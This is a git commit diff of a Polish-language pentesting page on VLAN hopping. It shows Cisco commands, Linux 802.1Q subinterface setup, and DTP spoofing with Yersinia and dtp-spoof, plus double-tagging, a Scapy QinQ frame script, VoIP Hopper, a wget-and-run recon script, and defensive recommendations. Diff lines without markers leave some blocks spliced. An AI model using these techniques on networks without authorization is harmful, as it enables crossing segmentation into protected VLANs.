Translated ['src/generic-methodologies-and-resources/pentesting-network/

This commit is contained in:
Translator 2025-08-18 12:39:16 +00:00
parent 815da4810c
commit 48f2003abc

View File

@ -10,7 +10,7 @@ Początkowo konieczne jest zidentyfikowanie konkretnego podłączonego portu. Za
```
SW1(config)# show mac address-table | include 0050.0000.0500
```
Przed przełączeniem na tryb trunk, należy sporządzić listę istniejących VLAN-ów oraz określić ich identyfikatory. Identyfikatory te są następnie przypisywane do interfejsu, co umożliwia dostęp do różnych VLAN-ów przez trunk. Port w użyciu, na przykład, jest powiązany z VLAN 10.
Przed przełączeniem na tryb trunk, należy sporządzić listę istniejących VLAN-ów i określić ich identyfikatory. Identyfikatory te są następnie przypisywane do interfejsu, co umożliwia dostęp do różnych VLAN-ów przez trunk. Port w użyciu, na przykład, jest powiązany z VLAN 10.
```
SW1# show vlan brief
```
@ -24,6 +24,7 @@ Przełączenie na tryb trunk spowoduje tymczasowe zakłócenie łączności, ale
Następnie tworzone są wirtualne interfejsy, przypisywane są identyfikatory VLAN i aktywowane:
```bash
# Legacy (vconfig) still works but deprecated in modern kernels
sudo vconfig add eth0 10
sudo vconfig add eth0 20
sudo vconfig add eth0 50
@ -32,17 +33,26 @@ sudo ifconfig eth0.10 up
sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up
# Modern (ip-link preferred)
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.10 type vlan id 10
sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip link set eth0.10 up
sudo ip link set eth0.20 up
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60
```
Następnie żądanie adresu jest wysyłane za pomocą DHCP. Alternatywnie, w przypadkach, gdy DHCP nie jest możliwe, adresy można skonfigurować ręcznie:
```bash
sudo dhclient -v eth0.10
sudo dhclient -v eth0.20
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60
```
Przykład ręcznego ustawiania statycznego adresu IP na interfejsie (VLAN 10):
```bash
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
# or
sudo ip addr add 10.10.10.66/24 dev eth0.10
```
Łączność jest testowana poprzez inicjowanie żądań ICMP do domowych bramek dla VLAN-ów 10, 20, 50 i 60.
@ -61,22 +71,29 @@ Przełączniki Cisco, które mają włączony DTP, chętnie negocjują trunk, je
*Yersinia* i kilka PoC automatyzują ten proces:
```bash
# Become a trunk using Yersinia (GUI)
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
# Python PoC (dtp-spoof)
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
git clone https://github.com/fleetcaptain/dtp-spoof.git
sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
```
Gdy port przełączy się na trunk, możesz utworzyć podinterfejsy 802.1Q i przejść dokładnie tak, jak pokazano w poprzedniej sekcji. Nowoczesne jądra Linuksa nie wymagają już *vconfig*; zamiast tego użyj *ip link*:
Recon helper (pasywne identyfikowanie stanu DTP portu):
```bash
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up
```
### 2. Double-Tagging (Native-VLAN Abuse)
Jeśli atakujący znajduje się w **native (untagged) VLAN**, stworzona ramka z *dwoma* nagłówkami 802.1Q może "przeskoczyć" do drugiego VLAN, nawet gdy port jest zablokowany w trybie dostępu. Narzędzia takie jak **VLANPWN DoubleTagging.py** (odświeżenie 2022-2024) automatyzują wstrzykiwanie:
# or
wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py
sudo python3 dtpscan.py -i eth0
```
Gdy port przełączy się na trunk, możesz utworzyć podinterfejsy 802.1Q i przejść dokładnie tak, jak pokazano w poprzedniej sekcji.
### 2. Double-Tagging (Nadużycie Native-VLAN)
Jeśli atakujący znajduje się na **native (untagged) VLAN**, skonstruowana ramka z *dwoma* nagłówkami 802.1Q może przeskoczyć do drugiego VLAN, nawet gdy port jest zablokowany w trybie dostępu. Narzędzia takie jak **VLANPWN DoubleTagging.py** (odświeżenie 2022-2025) automatyzują wstrzykiwanie:
```bash
python3 DoubleTagging.py \
--interface eth0 \
@ -85,15 +102,9 @@ python3 DoubleTagging.py \
--victim 10.10.20.24 \
--attacker 10.10.1.54
```
Przechodzenie pakietów:
1. Zewnętrzny tag (1) jest usuwany przez pierwszy switch, ponieważ pasuje do natywnego VLAN.
2. Wewnętrzny tag (20) jest teraz odsłonięty; ramka jest przesyłana na trunk w kierunku VLAN 20.
Technika ta nadal działa w 2025 roku w sieciach, które pozostawiają natywny VLAN na domyślnym poziomie i akceptują ramki bez tagów.
### 3. QinQ (802.1ad) Stacking
Wiele rdzeni przedsiębiorstw obsługuje *Q-in-Q* enkapsulację dostawcy usług. Gdzie to dozwolone, atakujący może tunelować dowolny ruch oznaczony 802.1Q wewnątrz dostawcy (S-tag), aby przekroczyć strefy bezpieczeństwa. Przechwyć dla etyki 802.1ad 0x88a8 i spróbuj usunąć zewnętrzny tag za pomocą Scapy:
Wiele rdzeni przedsiębiorstw obsługuje *Q-in-Q* enkapsulację dostawcy usług. Gdzie to dozwolone, atakujący może tunelować dowolny ruch oznaczony 802.1Q wewnątrz dostawcy (S-tag), aby przekroczyć strefy bezpieczeństwa. Przechwyć dla ethertype `0x88a8` i spróbuj usunąć zewnętrzny tag za pomocą Scapy:
```python
from scapy.all import *
outer = 100 # Service tag
@ -102,22 +113,52 @@ payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")
```
### 4. Przechwytywanie Voice-VLAN za pomocą LLDP/CDP (Fałszowanie IP-Phone)
Porty dostępu w firmach często znajdują się w konfiguracji *„dostęp + głos”*: nieoznakowany VLAN danych dla stacji roboczej i oznakowany VLAN głosowy ogłaszany przez CDP lub LLDP-MED. Poprzez podszywanie się pod telefon IP, atakujący może automatycznie odkryć i przejść do VLAN VoIP — nawet gdy DTP jest wyłączone.
*VoIP Hopper* (zapakowany w Kali 2025.2) obsługuje CDP, opcje DHCP **176/242** oraz pełne fałszowanie LLDP-MED:
```bash
# One-shot discovery & hop
sudo voiphopper -i eth0 -f cisco-7940
# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt)
sudo voiphopper -i eth0 -z
# Result: new sub-interface eth0.<VVID> with a DHCP or static address inside the voice VLAN
```
Technika ta omija separację danych/głosu i jest niezwykle powszechna w przełącznikach brzegowych przedsiębiorstw w 2025 roku, ponieważ auto-polityka LLDP jest domyślnie włączona w wielu modelach.
---
## Rekomendacje obronne
1. Wyłącz DTP na wszystkich portach skierowanych do użytkowników: `switchport mode access` + `switchport nonegotiate`.
2. Zmień natywny VLAN na każdym trunku na **niewykorzystany, czarny VLAN** i oznacz go: `vlan dot1q tag native`.
3. Prune'uj niepotrzebne VLANy na trunkach: `switchport trunk allowed vlan 10,20`.
4. Wymuś bezpieczeństwo portów, DHCP snooping i dynamiczną inspekcję ARP, aby ograniczyć nieautoryzowaną aktywność warstwy 2.
5. Preferuj private-VLANs lub segmentację L3 zamiast polegać wyłącznie na separacji 802.1Q.
3. Przytnij niepotrzebne VLANy na trunkach: `switchport trunk allowed vlan 10,20`.
4. Wprowadź zabezpieczenia portów, DHCP snooping, dynamiczną inspekcję ARP **i 802.1X**, aby ograniczyć nieautoryzowaną aktywność warstwy 2.
5. Wyłącz polityki automatycznego głosu LLDP-MED (lub zablokuj je do uwierzytelnionych MAC OUI), jeśli spoofing telefonów IP nie jest wymagany.
6. Preferuj prywatne VLANy lub segmentację L3 zamiast polegać wyłącznie na separacji 802.1Q.
---
## Odniesienia
## Wrażliwości dostawców w rzeczywistym świecie (2022-2024)
Nawet idealnie zabezpieczona konfiguracja przełącznika może być podważona przez błędy oprogramowania układowego. Ostatnie przykłady obejmują:
* **CVE-2022-20728† Cisco Aironet/Catalyst Access Points** pozwalają na wstrzykiwanie z natywnego VLAN do nienatywnych VLANów WLAN, omijając segmentację przewodową/bezwładną.
* **CVE-2024-20465 (Cisco IOS Industrial Ethernet)** pozwala na obejście ACL na SVI po przełączeniu protokołu Ethernet Resilient, wyciekając ruch między VRF/VLAN. Łatka 17.9.5 lub nowsza.
Zawsze monitoruj zalecenia dostawcy dotyczące problemów z omijaniem/ACL związanych z VLAN i utrzymuj aktualne obrazy infrastruktury.
---
## Odnośniki
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
- VLANPWN attack toolkit <https://github.com/casterbytethrowback/VLANPWN>
- Twingate "Czym jest VLAN Hopping?" (sierpień 2024) <https://www.twingate.com/blog/glossary/vlan%20hopping>
- Twingate "What is VLAN Hopping?" (Aug 2024) <https://www.twingate.com/blog/glossary/vlan%20hopping>
- VoIP Hopper project <https://github.com/hmgh0st/voiphopper>
- Cisco Advisory “cisco-sa-apvlan-TDTtb4FY” <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apvlan-TDTtb4FY>
{{#include ../../banners/hacktricks-training.md}}